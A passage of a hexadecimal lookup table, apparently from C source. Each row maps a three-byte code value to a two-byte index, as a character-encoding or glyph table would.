0x06,\r\n0x00, 0x07, 0x61, 0xc0, 0x06,\r\n0x00, 0x07, 0x62, 0xc1, 0x06,\r\n0x00, 0x07, 0x63, 0xc2, 0x06,\r\n0x00, 0x07, 0x64, 0xc3, 0x06,\r\n0x00, 0x07, 0x65, 0xc4, 0x06,\r\n0x00, 0x07, 0x66, 0xc5, 0x06,\r\n0x00, 0x07, 0x67, 0xc6, 0x06,\r\n0x00, 0x07, 0x68, 0xc7, 0x06,\r\n0x00, 0x07, 0x69, 0xc8, 0x06,\r\n0x00, 0x07, 0x6A, 0xc9, 0x06,\r\n0x00, 0x07, 0x6B, 0xca, 0x06,\r\n0x00, 0x07, 0x6C, 0xcb, 0x06,\r\n0x00, 0x07, 0x6D, 0xcc, 0x06,\r\n0x00, 0x07, 0x6E, 0xcd, 0x06,\r\n0x00, 0x07, 0x6F, 0xce, 0x06,\r\n0x00, 0x07, 0x70, 0xcf, 0x06,\r\n0x00, 0x07, 0x71, 0xd0, 0x06,\r\n0x00, 0x07, 0x72, 0xd1, 0x06,\r\n0x00, 0x07, 0x73, 0xd2, 0x06,\r\n0x00, 0x07, 0x74, 0xd3, 0x06,\r\n0x00, 0x07, 0x75, 0xd4, 0x06,\r\n0x00, 0x07, 0x76, 0xd5, 0x06,\r\n0x00, 0x07, 0x77, 0xd6, 0x06,\r\n0x00, 0x07, 0x78, 0xd7, 0x06,\r\n0x00, 0x07, 0x79, 0xd8, 0x06,\r\n0x00, 0x07, 0x7A, 0xd9, 0x06,\r\n0x00, 0x07, 0x7B, 0xda, 0x06,\r\n0x00, 0x07, 0x7C, 0xdb, 0x06,\r\n0x00, 0x07, 0x7D, 0x05, 0x00,\r\n0x00, 0x07, 0x7E, 0xdc, 0x06,\r\n0x00, 0x07, 0x7F, 0xdd, 0x06,\r\n0x00, 0x07, 0x80, 0xde, 0x06,\r\n0x00, 0x07, 0x81, 0xdf, 0x06,\r\n0x00, 0x07, 0x82, 0x10, 0x00,\r\n0x00, 0x07, 0x83, 0xe0, 0x06,\r\n0x00, 0x07, 0x84, 0x05, 0x00,\r\n0x00, 0x07, 0x85, 0x05, 0x00,\r\n0x00, 0x07, 0x86, 0x61, 0x01,\r\n0x00, 0x07, 0x87, 0xe1, 0x06,\r\n0x00, 0x07, 0x88, 0xe2, 0x06,\r\n0x00, 0x07, 0x89, 0xe3, 0x06,\r\n0x00, 0x07, 0x8A, 0xe4, 0x06,\r\n0x00, 0x07, 0x8B, 0xe5, 0x06,\r\n0x00, 0x07, 0x8C, 0xe6, 0x06,\r\n0x00, 0x07, 0x8D, 0xe7, 0x06,\r\n0x00, 0x07, 0x8E, 0xe8, 0x06,\r\n0x00, 0x07, 0x8F, 0xe9, 0x06,\r\n0x00, 0x07, 0x90, 0xea, 0x06,\r\n0x00, 0x07, 0x91, 0xdf, 0x03,\r\n0x00, 0x07, 0x92, 0xeb, 0x06,\r\n0x00, 0x07, 0x93, 0xec, 0x06,\r\n0x00, 0x07, 0x94, 0xed, 0x06,\r\n0x00, 0x07, 0x95, 0xee, 0x06,\r\n0x00, 0x07, 0x96, 0xef, 0x06,\r\n0x00, 0x07, 0x97, 0xf0, 0x06,\r\n0x00, 0x07, 0x98, 0xf1, 0x06,\r\n0x00, 0x07, 0x99, 0xf2, 0x06,\r\n0x00, 0x07, 0x9A, 0xf3, 0x06,\r\n0x00, 0x07, 0x9B, 0xf4, 0x06,\r\n0x00, 0x07, 0x9C, 0xf5, 0x06,\r\n0x00, 0x07, 0x9D, 0xf6, 0x06,\r\n0x00, 0x07, 0x9E, 0xf7, 0x06,\r\n0x00, 0x07, 0x9F, 0xf8, 0x06,\r\n0x00, 0x07, 0xA0, 0xf9, 0x06,\r\n0x00, 0x07, 0xA1, 0xfa, 0x06,\r\n0x00, 0x07, 0xA2, 0xfb, 0x06,\r\n0x00, 0x07, 0xA3, 0xfc, 0x06,\r\n0x00, 0x07, 0xA4, 0xfd, 0x06,\r\n0x00, 0x07, 0xA5, 0xfe, 0x06,\r\n0x00, 0x07, 0xA6, 0xff, 0x06,\r\n0x00, 0x07, 0xA7, 0x00, 0x07,\r\n0x00, 0x07, 0xA8, 0x01, 0x07,\r\n0x00, 0x07, 0xA9, 0x02, 0x07,\r\n0x00, 0x07, 0xAA, 0x03, 0x07,\r\n0x00, 0x07, 0xAB, 0x4f, 0x02,\r\n0x00, 0x07, 0xAC, 0x04, 0x07,\r\n0x00, 0x07, 0xAD, 0x05, 0x07,\r\n0x00, 0x07, 0xAE, 0x06, 0x07,\r\n0x00, 0x07, 0xAF, 0x61, 0x05,\r\n0x00, 0x07, 0xB0, 0x07, 0x07,\r\n0x00, 0x07, 0xB1, 0x08, 0x07,\r\n0x00, 0x07, 0xB2, 0x09, 0x07,\r\n0x00, 0x07, 0xB3, 0x05, 0x00,\r\n0x00, 0x07, 0xB4, 0x05, 0x00,\r\n0x00, 0x07, 0xB5, 0x0a, 0x07,\r\n0x00, 0x07, 0xB6, 0x0b, 0x07,\r\n0x00, 0x07, 0xB7, 0x0c, 0x07,\r\n0x00, 0x07, 0xB8, 0x0d, 0x07,\r\n0x00, 0x07, 0xB9, 0x0e, 0x07,\r\n0x00, 0x07, 0xBA, 0x0f, 0x07,\r\n0x00, 0x07, 0xBB, 0x10, 0x07,\r\n0x00, 0x07, 0xBC, 0x11, 0x07,\r\n0x00, 0x07, 0xBD, 0x12, 0x07,\r\n0x00, 0x07, 0xBE, 0x13, 0x07,\r\n0x00, 0x07, 0xBF, 0x14, 0x07,\r\n0x00, 0x07, 0xC0, 0x15, 0x07,\r\n0x00, 0x07, 0xC1, 0xfd, 0x04,\r\n0x00, 0x07, 0xC2, 0x16, 0x07,\r\n0x00, 0x07, 0xC3, 0x17, 0x07,\r\n0x00, 0x07, 0xC4, 0x18, 0x07,\r\n0x00, 0x07, 0xC5, 0x19, 0x07,\r\n0x00, 0x07, 0xC6, 0x1a, 0x07,\r\n0x00, 0x07, 0xC7, 0x1b, 0x07,\r\n0x00, 0x07, 0xC8, 0x1c, 0x07,\r\n0x00, 0x07, 0xC9, 0x1d, 0x07,\r\n0x00, 0x07, 0xCA, 0x1e, 0x07,\r\n0x00, 0x07, 0xCB, 0x1f, 0x07,\r\n0x00, 0x07, 0xCC, 0x20, 0x07,\r\n0x00, 0x07, 0xCD, 0x21, 0x07,\r\n0x00, 0x07, 0xCE, 0x22, 0x07,\r\n0x00, 0x07, 0xCF, 0x23, 0x07,\r\n0x00, 0x07, 0xD0, 0x24, 0x07,\r\n0x00, 0x07, 0xD1, 0x57, 0x02,\r\n0x00, 0x07, 0xD2, 0x25, 0x07,\r\n0x00, 0x07, 0xD3, 0x26, 0x07,\r\n0x00, 0x07, 0xD4, 0x27, 0x07,\r\n0x00, 0x07, 0xD5, 0x28, 0x07,\r\n0x00, 0x07, 0xD6, 0x29, 0x07,\r\n0x00, 0x07, 0xD7, 0x2a, 0x07,\r\n0x00, 0x07, 0xD8, 0x4a, 0x05,\r\n0x00, 0x07, 0xD9, 0x2b, 0x07,\r\n0x00, 0x07, 0xDA, 0x2c, 0x07,\r\n0x00, 0x07, 0xDB, 0x2d, 0x07,\r\n0x00, 0x07, 0xDC, 0x2e, 0x07,\r\n0x00, 0x07, 0xDD, 0x2f, 0x07,\r\n0x00, 0x07, 0xDE, 0x30, 0x07,\r\n0x00, 0x07, 0xDF, 0x31, 0x07,\r\n0x00, 0x07, 0xE0, 0x32, 0x07,\r\n0x00, 0x07, 0xE1, 0x33, 0x07,\r\n0x00, 0x07, 0xE2, 0x34, 0x07,\r\n0x00, 0x07, 0xE3, 0x35, 0x07,\r\n0x00, 0x07, 0xE4, 0x36, 0x07,\r\n0x00, 0x07, 0xE5, 0x37, 0x07,\r\n0x00, 0x07, 0xE6, 0x38, 0x07,\r\n0x00, 0x07, 0xE7, 0x39, 0x07,\r\n0x00, 0x07, 0xE8, 0x3a, 0x07,\r\n0x00, 0x07, 0xE9, 0x82, 0x02,\r\n0x00, 0x07, 0xEA, 0x3b, 0x07,\r\n0x00, 0x07, 0xEB, 0x05, 0x00,\r\n0x00, 0x07, 0xEC, 0x05, 0x00,\r\n0x00, 0x07, 0xED, 0x3c, 0x07,\r\n0x00, 0x07, 0xEE, 0x3d, 0x07,\r\n0x00, 0x07, 0xEF, 0x3e, 0x07,\r\n0x00, 0x07, 0xF0, 0x3f, 0x07,\r\n0x00, 0x07, 0xF1, 0x40, 0x07,\r\n0x00, 0x07, 0xF2, 0x41, 0x07,\r\n0x00, 0x07, 0xF3, 0x42, 0x07,\r\n0x00, 0x07, 0xF4, 0x43, 0x07,\r\n0x00, 0x07, 0xF5, 0x44, 0x07,\r\n0x00, 0x07, 0xF6, 0x45, 0x07,\r\n0x00, 0x07, 0xF7, 0x46, 0x07,\r\n0x00, 0x07, 0xF8, 0x47, 0x07,\r\n0x00, 0x07, 0xF9, 0x48, 0x07,\r\n0x00, 0x07, 0xFA, 0x49, 0x07,\r\n0x00, 0x07, 0xFB, 0x4a, 0x07,\r\n0x00, 0x07, 0xFC, 0x4b, 0x07,\r\n0x00, 0x07, 0xFD, 0x4c, 0x07,\r\n0x00, 0x07, 0xFE, 0x4d, 0x07,\r\n0x00, 0x07, 0xFF, 0x4e, 0x07,\r\n0x00, 0x08, 0x00, 0x4f, 0x07,\r\n0x00, 0x08, 0x01, 0x50, 0x07,\r\n0x00, 0x08, 0x02, 0xc9, 0x01,\r\n0x00, 0x08, 0x03, 0x51, 0x07,\r\n0x00, 0x08, 0x04, 0x52, 0x07,\r\n0x00, 0x08, 0x05, 0x53, 0x07,\r\n0x00, 0x08, 0x06, 0x54, 0x07,\r\n0x00, 0x08, 0x07, 0x55, 0x07,\r\n0x00, 0x08, 0x08, 0x56, 0x07,\r\n0x00, 0x08, 0x09, 0x57, 0x07,\r\n0x00, 0x08, 0x0A, 0x58, 0x07,\r\n0x00, 0x08, 0x0B, 0x59, 0x07,\r\n0x00, 0x08, 0x0C, 0x5a, 0x07,\r\n0x00, 0x08, 0x0D, 0x32, 0x00,\r\n0x00, 0x08, 0x0E, 0xb9, 0x00,\r\n0x00, 0x08, 0x0F, 0x5b, 0x07,\r\n0x00, 0x08, 0x10, 0x5c, 0x07,\r\n0x00, 0x08, 0x11, 0x5d, 0x07,\r\n0x00, 0x08, 0x12, 0x5e, 0x07,\r\n0x00, 0x08, 0x13, 0x5f, 0x07,\r\n0x00, 0x08, 0x14, 0x60, 0x07,\r\n0x00, 0x08, 0x15, 0x61, 0x07,\r\n0x00, 0x08, 0x16, 0x62, 0x07,\r\n0x00, 0x08, 0x17, 0x63, 0x07,\r\n0x00, 0x08, 0x18, 0x64, 0x07,\r\n0x00, 0x08, 0x19, 0x65, 0x07,\r\n0x00, 0x08, 0x1A, 0x66, 0x07,\r\n0x00, 0x08, 0x1B, 0x67, 0x07,\r\n0x00, 0x08, 0x1C, 0x68, 0x07,\r\n0x00, 0x08, 0x1D, 0x69, 0x07,\r\n0x00, 0x08, 0x1E, 0x6a, 0x07,\r\n0x00, 0x08, 0x1F, 0x6b, 0x07,\r\n0x00, 0x08, 0x20, 0x05, 0x00,\r\n0x00, 0x08, 0x21, 0x05, 0x00,\r\n0x00, 0x08, 0x22, 0x6c, 0x07,\r\n0x00, 0x08, 0x23, 0x6d, 0x07,\r\n0x00, 0x08, 0x24, 0x6e, 0x07,\r\n0x00, 0x08, 0x25, 0x6f, 0x07,\r\n0x00, 0x08, 0x26, 0x70, 0x07,\r\n0x00, 0x08, 0x27, 0x71, 0x07,\r\n0x00, 0x08, 0x28, 0x72, 0x07,\r\n0x00, 0x08, 0x29, 0x73, 0x07,\r\n0x00, 0x08, 0x2A, 0x74, 0x07,\r\n0x00, 0x08, 0x2B, 0x75, 0x07,\r\n0x00, 0x08, 0x2C, 0x76, 0x07,\r\n0x00, 0x08, 0x2D, 0x77, 0x07,\r\n0x00, 0x08, 0x2E, 0x78, 0x07,\r\n0x00, 0x08, 0x2F, 0x05, 0x00,\r\n0x00, 0x08, 0x30, 0x05, 0x00,\r\n0x00, 0x08, 0x31, 0x05, 0x00,\r\n0x00, 0x08, 0x32, 0x05, 0x00,\r\n0x00, 0x08, 0x4E, 0x79, 0x07,\r\n0x00, 0x08, 0x4F, 0x7a, 0x07,\r\n0x00, 0x08, 0x50, 0x7b, 0x07,\r\n0x00, 0x08, 0x51, 0x7c, 0x07,\r\n0x00, 0x08, 0x52, 0x7d, 0x07,\r\n0x00, 0x08, 0x53, 0x7e, 0x07,\r\n0x00, 0x08, 0x54, 0x0d, 0x00,\r\n0x00, 0x08, 0x55, 0x7f, 0x07,\r\n0x00, 0x08, 0x56, 0x80, 0x07,\r\n0x00, 0x08, 0x57, 0x81, 0x07,\r\n0x00, 0x08, 0x58, 0x82, 0x07,\r\n0x00, 0x08, 0x59, 0xe9, 0x01,\r\n0x00, 0x08, 0x5A, 0x83, 0x07,\r\n0x00, 0x08, 0x5B, 0x84, 0x07,\r\n0x00, 0x08, 0x5C, 0x0e, 0x03,\r\n0x00, 0x08, 0x5D, 0x85, 0x07,\r\n0x00, 0x08, 0x5E, 0x86, 0x07,\r\n0x00, 0x08, 0x5F, 0x87, 0x07,\r\n0x00, 0x08, 0x60, 0x88, 0x07,\r\n0x00, 0x08, 0x61, 0x89, 0x07,\r\n0x00, 0x08, 0x62, 0x8a, 0x07,\r\n0x00, 0x08, 0x63, 0x8b, 0x07,\r\n0x00, 0x08, 0x64, 0x8c, 0x07,\r\n0x00, 0x08, 0x65, 0x8d, 0x07,\r\n0x00, 0x08, 0x66, 0x8e, 0x07,\r\n0x00, 0x08, 0x67, 0x8f, 0x07,\r\n0x00, 0x08, 0x68, 0x90, 0x07,\r\n0x00, 0x08, 0x69, 0x91, 0x07,\r\n0x00, 0x08, 0x6A, 0x92, 0x07,\r\n0x00, 0x08, 0x6B, 0x93, 0x07,\r\n0x00, 0x08, 0x6C, 0x94, 0x07,\r\n0x00, 0x08, 0x6D, 0x95, 0x07,\r\n0x00, 0x08, 0x6E, 0x96, 0x07,\r\n0x00, 0x08, 0x6F, 0x3c, 0x05,\r\n0x00, 0x08, 0x70, 0x97, 0x07,\r\n0x00, 0x08, 0x71, 0x98, 0x07,\r\n0x00, 0x08, 0x72, 0x99, 0x07,\r\n0x00, 0x08, 0x73, 0x9a, 0x07,\r\n0x00, 0x08, 0x74, 0xd1, 0x05,\r\n0x00, 0x08, 0x75, 0x9b, 0x07,\r\n0x00, 0x08, 0x76, 0x9c, 0x07,\r\n0x00, 0x08, 0x77, 0x9d, 0x07,\r\n0x00, 0x08, 0x78, 0x9e, 0x07,\r\n0x00, 0x08, 0x79, 0x9f, 0x07,\r\n0x00, 0x08, 0x7A, 0xa0, 0x07,\r\n0x00, 0x08, 0x7B, 0xa1, 0x07,\r\n0x00, 0x08, 0x7C, 0x05, 0x00,\r\n0x00, 0x08, 0x7D, 0x05, 0x00,\r\n0x00, 0x08, 0x7E, 0xa2, 0x07,\r\n0x00, 0x08, 0x7F, 0xa3, 0x07,\r\n0x00, 0x08, 0x80, 0xa4, 0x07,\r\n0x00, 0x08, 0x81, 0xa5, 0x07,\r\n0x00, 0x08, 0x82, 0xbd, 0x01,\r\n0x00, 0x08, 0x83, 0xc9, 0x01,\r\n0x00, 0x08, 0x84, 0xa6, 0x07,\r\n0x00, 0x08, 0x85, 0xa7, 0x07,\r\n0x00, 0x08, 0x86, 0xa8, 0x07,\r\n0x00, 0x08, 0x87, 0xa9, 0x07,\r\n0x00, 0x08, 0x88, 0xaa, 0x07,\r\n0x00, 0x08, 0x89, 0xab, 0x07,\r\n0x00, 0x08, 0x8A, 0xac, 0x07,\r\n0x00, 0x08, 0x8B, 0xad, 0x07,\r\n0x00, 0x08, 0x8C, 0xae, 0x07,\r\n0x00, 0x08, 0x8D, 0xaf, 0x07,\r\n0x00, 0x08, 0x8E, 0xb0, 0x07,\r\n0x00, 0x08, 0x8F, 0xf7, 0x01,\r\n0x00, 0x08, 0x90, 0xb1, 0x07,\r\n0x00, 0x08, 0x91, 0xb2, 0x07,\r\n0x00, 0x08, 0x92, 0xb3, 0x07,\r\n0x00, 0x08, 0x93, 0xb4, 0x07,\r\n0x00, 0x08, 0x94, 0xb5, 0x07,\r\n0x00, 0x08, 0x95, 0xb6, 0x07,\r\n0x00, 0x08, 0x96, 0xb7, 0x07,\r\n0x00, 0x08, 0x97, 0xb8, 0x07,\r\n0x00, 0x08, 0x98, 0xb9, 0x07,\r\n0x00, 0x08, 0x99, 0xba, 0x07,\r\n0x00, 0x08, 0x9A, 0xbb, 0x07,\r\n0x00, 0x08, 0x9B, 0xbc, 0x07,\r\n0x00, 0x08, 0x9C, 0xbd, 0x07,\r\n0x00, 0x08, 0x9D, 0xbe, 0x07,\r\n0x00, 0x08, 0x9E, 0xbf, 0x07,\r\n0x00, 0x08, 0x9F, 0xc0, 0x07,\r\n0x00, 0x08, 0xA0, 0xc1, 0x07,\r\n0x00, 0x08, 0xA1, 0xc2, 0x07,\r\n0x00, 0x08, 0xA2, 0xc3, 0x07,\r\n0x00, 0x08, 0xA3, 0x05, 0x00,\r\n0x00, 0x08, 0xA4, 0x05, 0x00,\r\n0x00, 0x08, 0xA5, 0xc4, 0x07,\r\n0x00, 0x08, 0xA6, 0xc5, 0x07,\r\n0x00, 0x08, 0xA7, 0xc6, 0x07,\r\n0x00, 0x08, 0xA8, 0xc7, 0x07,\r\n0x00, 0x08, 0xA9, 0xc8, 0x07,\r\n0x00, 0x08, 0xAA, 0xc9, 0x07,\r\n0x00, 0x08, 0xAB, 0xca, 0x07,\r\n0x00, 0x08, 0xAC, 0xcb, 0x07,\r\n0x00, 0x08, 0xAD, 0xcc, 0x07,\r\n0x00, 0x08, 0xAE, 0xcd, 0x07,\r\n0x00, 0x08, 0xAF, 0xce, 0x07,\r\n0x00, 0x08, 0xB0, 0xcf, 0x07,\r\n0x00, 0x08, 0xB1, 0xd0, 0x07,\r\n0x00, 0x08, 0xB2, 0xe9, 0x01,\r\n0x00, 0x08, 0xB3, 0xd1, 0x07,\r\n0x00, 0x08, 0xB4, 0xd2, 0x07,\r\n0x00, 0x08, 0xB5, 0xd3, 0x07,\r\n0x00, 0x08, 0xB6, 0xd4, 0x07,\r\n0x00, 0x08, 0xB7, 0xd5, 0x07,\r\n0x00, 0x08, 0xB8, 0xd6, 0x07,\r\n0x00, 0x08, 0xB9, 0xd7, 0x07,\r\n0x00, 0x08, 0xBA, 0xd8, 0x07,\r\n0x00, 0x08, 0xBB, 0xd9, 0x07,\r\n0x00, 0x08, 0xBC, 0xda, 0x07,\r\n0x00, 0x08, 0xBD, 0xdb, 0x07,\r\n0x00, 0x08, 0xBE, 0xdc, 0x07,\r\n0x00, 0x08, 0xBF, 0xdd, 0x07,\r\n0x00, 0x08, 0xC0, 0xde, 0x07,\r\n0x00, 0x08, 0xC1, 0xdf, 0x07,\r\n0x00, 0x08, 0xC2, 0x05, 0x00,\r\n0x00, 0x08, 0xC3, 0xe0, 0x07,\r\n0x00, 0x08, 0xC4, 0xe1, 0x07,\r\n0x00, 0x08, 0xC5, 0xe2, 0x07,\r\n0x00, 0x08, 0xC6, 0x44, 0x02,\r\n0x00, 0x08, 0xC7, 0xc9, 0x01,\r\n0x00, 0x08, 0xC8, 0xe3, 0x07,\r\n0x00, 0x08, 0xC9, 0xe4, 0x07,\r\n0x00, 0x08, 0xCA, 0xe5, 0x07,\r\n0x00, 0x08, 0xCB, 0xe6, 0x07,\r\n0x00, 0x08, 0xCC, 0xe7, 0x07,\r\n0x00, 0x08, 0xCD, 0xe8, 0x07,\r\n0x00, 0x08, 0xCE, 0xe9, 0x07,\r\n0x00, 0x08, 0xCF, 0xea, 0x07,\r\n0x00, 0x08, 0xD0, 0xeb, 0x07,\r\n0x00, 0x08, 0xD1, 0xec, 0x07,\r\n0x00, 0x08, 0xD2, 0xed, 0x07,\r\n0x00, 0x08, 0xD3, 0xee, 0x07,\r\n0x00, 0x08, 0xD4, 0xef, 0x07,\r\n0x00, 0x08, 0xD5, 0xf0, 0x07,\r\n0x00, 0x08, 0xD6, 0xf1, 0x07,\r\n0x00, 0x08, 0xD7, 0xf2, 0x07,\r\n0x00, 0x08, 0xD8, 0xf3, 0x07,\r\n0x00, 0x08, 0xD9, 0xf4, 0x07,\r\n0x00, 0x08, 0xDA, 0xf5, 0x07,\r\n0x00, 0x08, 0xDB, 0xf6, 0x07,\r\n0x00, 0x08, 0xDC, 0xf7, 0x07,\r\n0x00, 0x08, 0xDD, 0xf8, 0x07,\r\n0x00, 0x08, 0xDE, 0xf9, 0x07,\r\n0x00, 0x08, 0xDF, 0xfa, 0x07,\r\n0x00, 0x08, 0xE0, 0xfb, 0x07,\r\n0x00, 0x08, 0xE1, 0xfc, 0x07,\r\n0x00, 0x08, 0xE2, 0x05, 0x00,\r\n0x00, 0x08, 0xE3, 0x05, 0x00,\r\n0x00, 0x08, 0xE4, 0xfd, 0x07,\r\n0x00, 0x08, 0xE5, 0xfe, 0x07,\r\n0x00, 0x08, 0xE6, 0xff, 0x07,\r\n0x00, 0x08, 0xE7, 0x00, 0x08,\r\n0x00, 0x08, 0xE8, 0x01, 0x08,\r\n0x00, 0x08, 0xE9, 0x02, 0x08,\r\n0x00, 0x08, 0xEA, 0x03, 0x08,\r\n0x00, 0x08, 0xEB, 0x04, 0x08,\r\n0x00, 0x08, 0xEC, 0x05, 0x08,\r\n0x00, 0x08, 0xED, 0x06, 0x08,\r\n0x00, 0x08, 0xEE, 0x07, 0x08,\r\n0x00, 0x08, 0xEF, 0x08, 0x08,\r\n0x00, 0x08, 0xF0, 0x09, 0x08,\r\n0x00, 0x08, 0xF1, 0x0a, 0x08,\r\n0x00, 0x08, 0xF2, 0x0b, 0x08,\r\n0x00, 0x08, 0xF3, 0x0c, 0x08,\r\n0x00, 0x08, 0xF4, 0x0d, 0x08,\r\n0x00, 0x08, 0xF5, 0x0e, 0x08,\r\n0x00, 0x08, 0xF6, 0x58, 0x00,\r\n0x00, 0x08, 0xF7, 0x0f, 0x08,\r\n0x00, 0x08, 0xF8, 0x10, 0x08,\r\n0x00, 0x08, 0xF9, 0x95, 0x01,\r\n0x00, 0x08, 0xFA, 0x11, 0x08,\r\n0x00, 0x08, 0xFB, 0x12, 0x08,\r\n0x00, 0x08, 0xFC, 0x13, 0x08,\r\n0x00, 0x08, 0xFD, 0x14, 0x08,\r\n0x00, 0x08, 0xFE, 0x15, 0x08,\r\n0x00, 0x08, 0xFF, 0x16, 0x08,\r\n0x00, 0x09, 0x00, 0x17, 0x08,\r\n0x00, 0x09, 0x01, 0xe9, 0x01,\r\n0x00, 0x09, 0x02, 0x18, 0x08,\r\n0x00, 0x09, 0x03, 0x19, 0x08,\r\n0x00, 0x09, 0x04, 0x1a, 0x08,\r\n0x00, 0x09, 0x05, 0x1b, 0x08,\r\n0x00, 0x09, 0x06, 0x1c, 0x08,\r\n0x00, 0x09, 0x07, 0x1d, 0x08,\r\n0x00, 0x09, 0x08, 0x1e, 0x08,\r\n0x00, 0x09, 0x09, 0x1f, 0x08,\r\n0x00, 0x09, 0x0A, 0x20, 0x08,\r\n0x00, 0x09, 0x0B, 0x21, 0x08,\r\n0x00, 0x09, 0x0C, 0x22, 0x08,\r\n0x00, 0x09, 0x0D, 0x23, 0x08,\r\n0x00, 0x09, 0x0E, 0x24, 0x08,\r\n0x00, 0x09, 0x0F, 0x25, 0x08,\r\n0x00, 0x09, 0x10, 0x26, 0x08,\r\n0x00, 0x09, 0x11, 0x05, 0x00,\r\n0x00, 0x09, 0x12, 0x05, 0x00,\r\n0x00, 0x09, 0x13, 0x27, 0x08,\r\n0x00, 0x09, 0x14, 0x28, 0x08,\r\n0x00, 0x09, 0x15, 0x29, 0x08,\r\n0x00, 0x09, 0x16, 0x2a, 0x08,\r\n0x00, 0x09, 0x17, 0x2b, 0x08,\r\n0x00, 0x09, 0x18, 0x2c, 0x08,\r\n0x00, 0x09, 0x19, 0x2d, 0x08,\r\n0x00, 0x09, 0x1A, 0x2e, 0x08,\r\n0x00, 0x09, 0x1B, 0x2f, 0x08,\r\n0x00, 0x09, 0x1C, 0x30, 0x08,\r\n0x00, 0x09, 0x1D, 0x31, 0x08,\r\n0x00, 0x09, 0x1E, 0x32, 0x08,\r\n0x00, 0x09, 0x1F, 0x33, 0x08,\r\n0x00, 0x09, 0x20, 0x0d, 0x04,\r\n0x00, 0x09, 0x21, 0x34, 0x08,\r\n0x00, 0x09, 0x22, 0x35, 0x08,\r\n0x00, 0x09, 0x23, 0x36, 0x08,\r\n0x00, 0x09, 0x24, 0x37, 0x08,\r\n0x00, 0x09, 0x25, 0x38, 0x08,\r\n0x00, 0x09, 0x26, 0x39, 0x08,\r\n0x00, 0x09, 0x27, 0x74, 0x04,\r\n0x00, 0x09, 0x28, 0x3a, 0x08,\r\n0x00, 0x09, 0x29, 0x3b, 0x08,\r\n0x00, 0x09, 0x2A, 0x3c, 0x08,\r\n0x00, 0x09, 0x2B, 0x3d, 0x08,\r\n0x00, 0x09, 0x2C, 0x3e, 0x08,\r\n0x00, 0x09, 0x2D, 0x3f, 0x08,\r\n0x00, 0x09, 0x2E, 0x40, 0x08,\r\n0x00, 0x09, 0x2F, 0x41, 0x08,\r\n0x00, 0x09, 0x30, 0x42, 0x08,\r\n0x00, 0x09, 0x31, 0x43, 0x08,\r\n0x00, 0x09, 0x32, 0x44, 0x08,\r\n0x00, 0x09, 0x33, 0x45, 0x08,\r\n0x00, 0x09, 0x34, 0x46, 0x08,\r\n0x00, 0x09, 0x35, 0x47, 0x08,\r\n0x00, 0x09, 0x36, 0x48, 0x08,\r\n0x00, 0x09, 0x37, 0x49, 0x08,\r\n0x00, 0x09, 0x38, 0x4a, 0x08,\r\n0x00, 0x09, 0x39, 0x4b, 0x08,\r\n0x00, 0x09, 0x3A, 0x4c, 0x08,\r\n0x00, 0x09, 0x3B, 0x4d, 0x08,\r\n0x00, 0x09, 0x3C, 0x4e, 0x08,\r\n0x00, 0x09, 0x3D, 0x4f, 0x08,\r\n0x00, 0x09, 0x3E, 0x50, 0x08,\r\n0x00, 0x09, 0x3F, 0x51, 0x08,\r\n0x00, 0x09, 0x40, 0x52, 0x08,\r\n0x00, 0x09, 0x41, 0xc0, 0x00,\r\n0x00, 0x09, 0x42, 0x61, 0x01,\r\n0x00, 0x09, 0x43, 0x05, 0x00,\r\n0x00, 0x09, 0x44, 0x05, 0x00,\r\n0x00, 0x09, 0x45, 0x53, 0x08,\r\n0x00, 0x09, 0x46, 0x54, 0x08,\r\n0x00, 0x09, 0x47, 0x55, 0x08,\r\n0x00, 0x09, 0x48, 0x56, 0x08,\r\n0x00, 0x09, 0x49, 0x57, 0x08,\r\n0x00, 0x09, 0x4A, 0x58, 0x08,\r\n0x00, 0x09, 0x4B, 0x59, 0x08,\r\n0x00, 0x09, 0x4C, 0x5a, 0x08,\r\n0x00, 0x09, 0x4D, 0x5b, 0x08,\r\n0x00, 0x09, 0x4E, 0x5c, 0x08,\r\n0x00, 0x09, 0x4F, 0x5d, 0x08,\r\n0x00, 0x09, 0x50, 0x5e, 0x08,\r\n0x00, 0x09, 0x51, 0x5f, 0x08,\r\n0x00, 0x09, 0x52, 0x60, 0x08,\r\n0x00, 0x09, 0x53, 0x61, 0x08,\r\n0x00, 0x09, 0x54, 0x62, 0x08,\r\n0x00, 0x09, 0x55, 0x63, 0x08,\r\n0x00, 0x09, 0x56, 0x5e, 0x00,\r\n0x00, 0x09, 0x57, 0x64, 0x08,\r\n0x00, 0x09, 0x58, 0x65, 0x08,\r\n0x00, 0x09, 0x59, 0x66, 0x08,\r\n0x00, 0x09, 0x5A, 0x67, 0x08,\r\n0x00, 0x09, 0x5B, 0x68, 0x08,\r\n0x00, 0x09, 0x5C, 0x69, 0x08,\r\n0x00, 0x09, 0x5D, 0x6a, 0x08,\r\n0x00, 0x09, 0x5E, 0x6b, 0x08,\r\n0x00, 0x09, 0x5F, 0x6c, 0x08,\r\n0x00, 0x09, 0x60, 0x6d, 0x08,\r\n0x00, 0x09, 0x61, 0x6e, 0x08,\r\n0x00, 0x09, 0x62, 0x6f, 0x08,\r\n0x00, 0x09, 0x63, 0x70, 0x08,\r\n0x00, 0x09, 0x64, 0x71, 0x08,\r\n0x00, 0x09, 0x65, 0x72, 0x08,\r\n0x00, 0x09, 0x66, 0x73, 0x08,\r\n0x00, 0x09, 0x67, 0x74, 0x08,\r\n0x00, 0x09, 0x68, 0x75, 0x08,\r\n0x00, 0x09, 0x69, 0x76, 0x08,\r\n0x00, 0x09, 0x6A, 0x77, 0x08,\r\n0x00, 0x09, 0x6B, 0x2f, 0x02,\r\n0x00, 0x09, 0x6C, 0x78, 0x08,\r\n0x00, 0x09, 0x6D, 0x79, 0x08,\r\n0x00, 0x09, 0x6E, 0x7a, 0x08,\r\n0x00, 0x09, 0x6F, 0x7b, 0x08,\r\n0x00, 0x09, 0x70, 0x7c, 0x08,\r\n0x00, 0x09, 0x71, 0x7d, 0x08,\r\n0x00, 0x09, 0x72, 0x7e, 0x08,\r\n0x00, 0x09, 0x73, 0x7f, 0x08,\r\n0x00, 0x09, 0x74, 0x80, 0x08,\r\n0x00, 0x09, 0x75, 0x81, 0x08,\r\n0x00, 0x09, 0x76, 0x82, 0x08,\r\n0x00, 0x09, 0x77, 0x83, 0x08,\r\n0x00, 0x09, 0x78, 0x84, 0x08,\r\n0x00, 0x09, 0x79, 0xf7, 0x01,\r\n0x00, 0x09, 0x7A, 0x85, 0x08,\r\n0x00, 0x09, 0x7B, 0x05, 0x00,\r\n0x00, 0x09, 0x7C, 0x05, 0x00,\r\n0x00, 0x09, 0x7D, 0x86, 0x08,\r\n0x00, 0x09, 0x7E, 0x87, 